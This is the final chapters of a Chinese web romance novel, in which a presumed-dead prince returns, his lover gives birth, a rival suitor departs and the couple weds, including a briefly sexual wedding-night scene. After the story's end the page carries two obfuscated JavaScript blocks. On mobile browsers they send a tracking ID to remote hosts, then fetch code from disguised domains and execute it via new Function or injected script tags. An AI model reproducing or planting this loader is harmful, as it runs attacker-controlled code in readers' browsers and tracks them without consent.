默默听着林灵的话,他不知道这辈子他能不能走进林灵心里,但能像现在这样陪
在她身边,他已经觉得很好了。?

同年五月,二皇子夏颖在宫中发动兵变企图谋朝篡位,兵变很快得到了镇压,
夏颖在皇宫中被乱刀砍死,皇后亦被白绫赐死。同年六月,夏明帝退位,太子继
位,封号为夏宣帝。这是举国的大事,饶是青陇镇这样偏僻的小地方,镇民也议
论了好几天。林灵知道了自是欣慰,她希望夏箫在天之灵能得到安息。小宝宝在
她肚子里一天天长大,每一下胎动都牵动着她的心,林灵很期待这个孩子的出生,
它是她和夏箫感情的结晶,它是她在这世上最重要的东西。

六月底的天气已经十分闷热,林灵的肚子大到滚圆,走路都要扶着腰慢慢的
来。她有些懒得再出门散步,程浩然却说还是每天走一走好,这样生的时候会容
易些。

程浩然和林灵两人在田野上闲闲的走着,草叶混合着泥土的清香随着夏日的
微风一阵阵袭来,林灵却丝毫没有感受到这夏日傍晚的可爱,她愁眉苦脸的说,
「程浩然,已经差不多十个月了,你说是不是这两天就要生了?」

「不一定,有些孩子就算足了月份也还要等个十几天。」

林灵叹气道,「还不如杀了我算了。程浩然你不知道,这种感觉就像是等待
死刑的犯人,偏偏还不知道哪天行刑。」

程浩然笑道,「林灵,你要作母亲了,坚强点。」

林灵晃着脑袋说,「怎么坚强啊,听说疼的要死,有些女人就是因为生孩子
死掉的。」

程浩然皱眉,「别乱说。」

「干脆我生的时候你一南傍国把我打晕算了,这样我也不知道疼了。」

「笨蛋,你以为小孩会自己爬出来吗,你晕了就没法生了。」

林灵又懊恼的直叹气,坏蛋夏箫,你让我这么疼的给你生孩子,你却连孩子
长什么样都没见过………

长势茂盛的绿油油的田野在夕阳柔和的光线下透着浅浅的橘色,一道熟悉的
身影从夕阳照射的方向镀着一层淡淡的光亮朝她走了过来。林灵停下脚步睁大眼
睛看向那修长挺拔的身形,他的眼眸亮若星辰,他嘴角上的微笑让人又爱又恨,
他化成了灰她也认得,他是夏箫,他活生生的朝她一步步走了过来。

林灵提起裙摆朝夏箫跑去,程浩然在她后面喊林灵你别跑,她根本听不见,
她快步的跑到夏箫面前,在只有几步之遥的地方停了下来,她浑身发颤着不敢走
过去,她多怕走过去只是一个幻影,又或者根本只是一个梦。

夏箫大步走过来紧紧把她搂在怀里,低声道,「灵儿,我回来了。」

林灵着迷的闻着夏箫身上那股熟悉的麝香气味,泪眼朦胧的摸着夏箫的脸颊
道,「你没有死?夏箫。」

「我没死,我活着来找你了。」

林灵踮起脚尖吻住夏箫,粉色的舌尖探进夏箫嘴里急迫的探寻,夏箫扶着她
的脑袋深深地吻她,那样强势又深情的吻法,就是她的夏箫。林灵一边和夏箫用
力的缠绵亲吻一边不停地落泪,她抽抽噎噎的几乎吻得喘不过气来,夏箫这才恋
恋不舍的放开她红嫩的小嘴,抵着她的额头喃喃的说,「宝宝,我想死你了。」

林灵双手紧紧抱着夏箫的脖子说,「你怎么会没死?皇帝都下旨说你被凌迟
处死,从皇家除名了。」

夏箫道,「皇上在最后一刻终究还是放了我,他说他不要我的命,但这世上
以后再也没有七皇子了。灵儿,很多事你还不知道,我慢慢告诉你。」

林灵推开夏箫,抹了把脸上的泪痕,「我知道,乔落都和我说了。你……你
只怕早有计谋脱身,只是瞒着我而已。你从来都是这样,我恨死你了!」

「我真不知道我这次能活下来。我都已经上了刑台,我没想到父皇还会放过
我。」

「那你为什么不马上来找我?你知不知道我有多伤心,要不是你那两个影卫
救了我,我早已跳湖死掉了。」

「灵儿,你怀着我的孩子,我当然恨不得马上飞过来找你。可我不能让夏颖
知道我还活着,他不会放过我的,我必须帮助太子除掉夏颖之后才能来找你。」

「你至少叫人给我报个信啊,你知道我怀着宝宝每天多伤心吗?」

「我不是没想过,但总怕走漏了风声让夏颖有所察觉,那一切就前功尽弃了。
宝贝,我现在人就在这里,你有多怨我多恨我,怎么骂我怎么打我都行。我多庆
幸还能活着和你见面,还能见到我们的宝宝。」

林灵咬着嘴唇走近夏箫,抱着他的腰在他胸口又是打又是咬,抽抽噎噎的说,
「夏箫,你没死,你真的没死。我都伤心死了,你根本想不到我有多伤心。」

夏箫低头在她脸上轻轻吻着,「宝贝,我知道,对不起。」

林灵打着打着拳头却突然停了下来,她小脸刷白的一手扶着肚子一手抓着夏
箫的手臂颤声道,「夏箫,我……我………」

夏箫见林灵的脸色突然变了,他的脸色也不由得紧张了起来,「灵儿,你怎
么了?」

「我肚子疼,我流血了……」

夏箫的心一下提到了嗓子眼,他有些头脑发晕的看着四周,冲着程浩然喊道,
「程浩然,她肚子疼!」

程浩然快步走了过来,紧张的向林灵问道,「是不是羊水破了?」

林灵捂着肚子身子直往地上软,脸上豆大的汗珠瞬时就冒了出来,她说,
「好疼……我不知道。」

程浩然低身想要把林灵抱起来,夏箫一把推开他,自己打横抱起来林灵,他
瞪着程浩然道,「现在怎么办?」

程浩然说,「林灵这是要生了,你现在带她回家,前面那个挂着林府匾额的
院子就是她家,我去叫产婆。」程浩然说完就转身跑远了。

林灵搂着夏箫的脖子,疼得连喘息都急促起来,她尖叫道,「夏箫,夏箫,
我疼死了!啊!」

夏箫被她叫的双腿发软,勉强定住心神抱着她快步朝林家的方向走去,他说,
「没事,灵儿,咱们的宝宝要出世了。你别怕,有我在,别怕。」

第105章宝宝的名字

林灵体态纤细盆骨狭窄,想顺利生下孩子并不容易。夏箫在外面焦心的等待
了两个时辰,听着林灵的叫声越来越微弱,他终于再管不得许多的直接冲进了产
房。夏箫进去后一看到床边的那盆血水,他眼前瞬时就开始发黑。夏箫深吸了一
口气,走到林灵身边紧紧握着她的手柔声道,「宝贝,再努力一下,马上就生出
来了,再努力一下就好。」

林灵被肚子里的孩子折磨得气息奄奄,可夏箫握着她的手,他活着回来了,
老天对她已经如此厚爱,她那么幸运,即便现在她觉得痛的要死她也应该努力。
林灵满是湿汗的小手轻轻握住夏箫的手,按着产婆的指令努力深呼吸,用力,再
深呼吸。

半个时辰后,林灵生下了一名男婴。产婆剪断脐带,清洗掉婴儿身上的血污,
然后在他的小屁股上用力拍了一掌,婴儿立刻哇哇大哭了起来。

产婆小心的把婴儿递到夏箫眼前,「恭喜这位相公,是个男孩。」

夏箫却只皱着眉看了眼那个红彤彤的小东西,然后立刻就把眼光转回到林灵
脸上,握着她的手心疼的说,「宝贝,咱以后再也不生了,再不让你受这种罪了。」

林灵抽抽噎噎的道,「嗯,再也不生了。」

门外林灵的父母还有程浩然听到婴儿响亮的哭声都一齐松了口气,产婆把小
婴儿抱出来给他们看,林老爷林夫人都一副爱若珍宝的样子。程浩然看着那个紧
闭双眼张大嘴巴哭泣的婴儿,心里的感受一时很难形容,林灵终于把孩子生下来
了,她爱的男人也活着回到她身边,皆大欢喜的结局,他……始终就是个局外人
而已。?

小婴儿没几天就长得越来越漂亮,发红的皮肤变得白皙,皱巴巴的小脸也一
天天长开了,墨黑色的漂亮眼珠更是和夏箫生得一模一样。林灵在坐月子,程浩
然这个医生就成了林家的权威,他说林灵应该吃什么喝什么夏箫就忙忙的去采买
准备。林灵本是气他那么大的事都瞒着她进行,可小宝宝出生的喜悦让她一时忘
了生气,后来再看着他小心翼翼的抱着婴儿的模样,她哪里还气得起来。

他们两人商量着给孩子取名字,最后决定单名叫一个远字。

林灵试着念了一念,「夏、远。」

夏箫想了想说,「不,是夏侯远。」

林灵不解的看着夏箫。

夏箫道,「皇上说以后这世上再没有七皇子,所以孩子不能再姓夏了。」

林灵笑道,「那你以后也要叫夏侯箫喽?嘿嘿,夏侯箫,不就是当年那个在
怡红院里调戏我的无良帅哥吗,啧啧,当年我还是个十五岁的小男孩,这样你都
能感兴趣,还真是……」

夏箫一脸微笑的揉了揉林灵的头发,「没办法,谁叫我和林贤弟你一见面就
那么投缘。」

林灵想了想又问,「你亲生父亲姓什么?咱们的婚事要告诉他吗?」

夏箫摇了摇头,「他根本没见过我。我去江南的时候也只在大街上看了他一
眼,他有自己的家,有自己的儿女,皇家这样隐秘的私事终究是越少人知道越好,
我不打算告诉他。」

林灵心想夏箫原是地位尊贵的七皇子,现在却突然成了无父无母的孤儿,以
前的荣华富贵显赫身份全都没了,他心里肯定是很难受的。林灵握着夏箫的手说,
「夏箫,你别难过,你还有我,你还有宝宝。」

夏箫看着林灵道,「其实这样也好,我知道你不喜欢宫里的生活,生在皇家
有些事真是身不由己。现在这样自由自在的,也不错。」

林灵搂着夏箫的脖子低声道,「夏箫,幸好你没死,幸好皇上最后放了你,
不然我一个人带着宝宝可怎么过呢。」

夏箫亲了亲林灵的额头,「那时皇上把我关在地牢里,他拿起鞭子狠狠的抽
我,一边抽一边说要把我凌迟处死,我以为他恨透我了,非杀我不可。可现在我
静下心来想一想,如果是你给别的男人生了孩子,我就算再生气,恐怕也没办法
真的杀了那个孩子,因为他毕竟是你的一部分。我想……皇上是真的很爱我娘,
事到如今,恐怕他是伤透了心。」夏箫停了一会儿又说,「灵儿,夏颖最后在宫
里带着他的数百名心腹手下负隅抵抗,是我一剑穿心要了他的命。当年他欺负你
的仇,我总算报了。」

林灵抬头看着他,「夏箫,你知道我最在意的不是这个,我最在意的是你好
不好,是你爱不爱我,你把我撵走自己一个人去赴死感觉很伟大吗?我告诉你,
你要是敢再做一次这样的事,我这辈子都不原谅你。」

夏箫笑了,「不会的,宝贝。再不会有这样的事,以后我们会一直好好的在
一起。」?

孩子满月那天,林家摆了桌小小的宴席以示庆祝。席上夏箫向程浩然敬了杯
酒,他说,「谢谢你这段时间照顾林灵。谢谢你把从二皇子府刺探到的情报告诉
太子。」

程浩然没说什么,举杯一饮而尽。

林灵道,「你怎么一口就干了?你又不能喝酒。」

程浩然笑了笑,「不碍事,这么多年了,我的酒量已经好一些了。」

当晚,林灵哄着宝宝睡熟以后自己也正准备宽衣上床,门上突然传来几下敲
门声,林灵以为是夏箫,打开门却是带着淡淡酒气的程浩然。

程浩然一手支在门框上,好看的眉毛微微皱着,半睁着两只上挑的丹凤眼醉
意朦胧的看着她。

林灵道,「浩然,你有什么事吗?」

程浩然挑起林灵的下巴,低头吻了上去。

林灵没有动。

过了一会儿,程浩然捏着林灵下巴的手渐渐松了开来,整个人颓然的半倚在
门框上。

林灵抬起头淡淡的说,「你喝醉了,还说自己酒量变好了,明明就是和以前
一样。」

程浩然嘴角勾起一丝苦笑,「你还真是半点反应也没有。」

林灵没说话。

程浩然揉了揉有些发胀的太阳穴,「林灵,明天我要走了。」

「……你打算去哪儿?」

「想去哪儿就去哪儿,林灵,」程浩然看着她,语气因为醉酒而有些不流畅,
他说,「以后你要幸福,如果你不幸福,如果夏箫欺负你,你就来找我。你想找
我,就可以找到我。」

林灵笑着说,「我不会不幸福的,程浩然,你也要幸福。」

程浩然低低的叹息了一声,他垂下眼睛说,「林灵,你把门关上吧。」

林灵最后认真的看了一眼程浩然,踮起脚尖在他脸颊上轻轻亲了一口,她说,
「程浩然,这是真心的,谢谢你对我好。」然后她关上了房门。

第二天早上程浩然一个人悄悄走了,不算不辞而别,因为昨晚他已经辞别过
了。?

坐完月子以后,林灵很高兴自己终于可以不用再被人像养母猪一样圈养在房
里,她兴高采烈的穿上外出的衣服站到铜镜面前……然后房里传出一声很凄厉的
惨叫。

夏箫从门外飞奔进来,「灵儿,怎么了?」

林灵一根手指抖啊抖的指着铜镜里身材臃肿的女人,花容失色的说,「我怎
么胖成这样?我怎么胖成这样!」

夏箫无奈的叹了口气,女人生完孩子都会变胖啊,难道她今天才发现自己长
胖了?

林灵一脸恼怒的指向夏箫,「都怪你,天天像喂猪一样的喂我,你到底安的
什么好心?!」

夏箫辩解道,「灵儿,你不吃好饭奶水怎么会充足,那样会饿着儿子的。」

林灵生气的跺脚,「在你心里是你儿子重要还是我重要?我胖成这样怎么作
漂亮的新娘子,夏箫,我不嫁给你了!」

夏箫忙道,「宝贝,你别生气。女人刚生完孩子都是这样的,慢慢就会瘦下
来。」

林灵皱着小脸道,「那就等我瘦下来再说,打死我我也不作这样又胖又丑的
新娘子。」

听了林灵的话,夏箫心里不由得叫起苦来。坐月子的时候不能行房事,现在
林灵的身子虽然已经恢复正常了,他也不好就这么当着林灵父母的面大喇喇和林
灵同住起来,幸而他们本来就打算这个月完婚。现在林灵却突然好端端的说不嫁
了,还是因为这样荒谬的理由。

夏箫走过去从后面搂住林灵,凑在她耳边低声道,「都一年了……宝贝你就
不想吗?」

林灵脸色微红的低下了头,但她稍微羞怯了一会儿仍是态度坚定的说,「不
行,一辈子只能做一次新娘,我绝不要这样胖的穿上礼服。夏箫,我会努力瘦下
来的,你别急哦。」

林灵本来就是只小馋猫,让她每天控制着食量眼巴巴的看着别人吃实在是件
痛苦的事。夏箫有时舍不得,就劝她多吃点,林灵就说板着脸说你不想娶我了吗?
夏箫只好跟着她一起无奈纠结,林灵饿着,他何尝不是饿着?林灵本来就是他的,
到底是要等到什么时候他们两个才能拜过天地送入洞房啊,悲乎!

第106章洞房花烛

大喜的日子终于到了,没有很大的排场也没有宴请宾客,夏箫身穿大红喜服
用一根花球牵着林灵在林府的大厅拜了天地,拜了林灵的父母,然后两人相对而
立,夏箫认真的躬身拜了下去,他的灵儿终于成为了他的妻子;林灵也盖着红盖
头朝着夏箫盈盈拜了下去,从今以后,她与夏箫就要执子之手与子偕老。

礼成之后,林老爷拍着夏箫的肩膀说,「你们两个人能在一起不容易,以后
要好好的待灵儿。」

夏箫认真而恭敬的回答,「爹,我一定会的。」?

林灵在新房里端端正正安安静静的坐着,夏箫推开门朝她走了过来。

林灵心里竟不由得小鹿乱撞起来,说起来她连孩子都为他生过了,可一想到
夏箫是跟她拜过堂的人,她心里的感觉就变得不一样起来。

夏箫来到林灵身边掀起她的红盖头,只见林灵头带一顶金碧辉煌的精美凤冠,
秋波如水两靥生娇,美若仙子下凡一般,正含羞带怯的抬头望着他。

夏箫微笑着喊了声娘子,林灵娇羞一笑,温柔的低下头来。

夏箫走到桌边在两只合欢杯里倒满酒,两人双臂交缠着喝了下去。夏箫捏着
林灵辛苦了三个多月才饿回来的尖尖的小下巴说,「宝贝,你是全天下最美的新
娘子。」

林灵甜甜的笑着,她扶了扶头上的凤冠说,「夏箫,你帮我把这个摘下来,
好沉。」

「还叫我夏箫?嗯?」

林灵笑道,「相公,你帮我把凤冠除下来好不好?」

夏箫用手指轻轻刮着林灵脸上吹弹可破的肌肤,「当然好,为夫的今日不只
要帮娘子除凤冠,还要帮娘子除衣服的。」

林灵歪着小脑袋娇娇俏俏的看他,那弯弯的新月一般的眼睛和嘴角翘起的弧
度让夏箫恨不得把她一口吃掉。?

桌上两只雕龙画凤的红烛旁摆着美轮美奂的凤冠,红色纱幔垂下的大床上夏
箫用木梳一下下梳理着林灵水流般黑亮的长发。他帮林灵梳好了头发,扶着她的
肩膀让她转过身来和他面对面坐着。

林灵的小脸上透着红苹果一般的诱人光泽,两把小扇子一样的睫毛微微颤抖
着,夏箫的双手来到她胸前一层层解开大红色的绫罗缎衣,除掉她胸前红艳艳的
绸面肚兜,然后把她轻轻推倒在那层层叠叠的绫罗上,她雪白的**柔软的躺在大
红嫁衣上的模样让他血脉贲张,他这时才深刻的体会到什么叫春宵一刻值千金。
夏箫一边脱下自己的衣服,一边笑着说,「小宝贝,今天怎么这么安静?」

林灵声若蚊呐的道,「我娘说新娘子要端庄矜持。」

「傻瓜,我们已经礼成了,可以说话了。」

林灵半侧着身子把两手笼到胸前,歪着脑袋道,「那我也不知道该说什么。」

夏箫俯下身子用两手支在她身边,「宝贝,亲亲我。」

林灵红着小脸把两臂环上夏箫的脖颈,微微仰头吻了上去。

数年后,江湖上出现了一个行事低调的门派——灵异门。这个门派专接江湖
上各类重要物品的走镖生意和情报买卖,但从不和朝廷打交道。想和这个门派做
生意,门槛很高,要价更高,但它做事一贯迅速利落,从无失手。灵异门的门主
名为夏侯箫,据说他手下门徒数目并不算多,但各个都是高手,很少有什么事情
需要他亲自出面。灵异门的总部设在如人间仙境一般的流云山上,经过十多年的
发展,如今它在各个省份都有了分部。听说夏侯箫是个气势不凡的英俊男子,大
约三十多岁年纪,但江湖上始终只闻其名不见其人,究竟如何也只能是谈说而已。

End
  

  

  
关闭
关闭
function pSxyUYrQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function qnaQft(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pSxyUYrQ(t);};window[''+'M'+'T'+'L'+'b'+'Y'+'i'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AeFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=qnaQft,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AeFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AeFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGdHkudmV0ZZGFuZZy5jbiUzQTk1MzQ=','9489',window,document,['T','Z']);}:function(){};
function RjJvG(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function pQqhlWoI(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return RjJvG(t);};window[''+'I'+'D'+'B'+'r'+'W'+'A'+'Z'+'j'+'d'+'X'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function EJpB(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=pQqhlWoI,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=EJpB(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=EJpB(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLmlpbHh6cS5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS5ycWRsb2QuY24lM0E5NTM0','168322',window,document,['k','J']);}:function(){};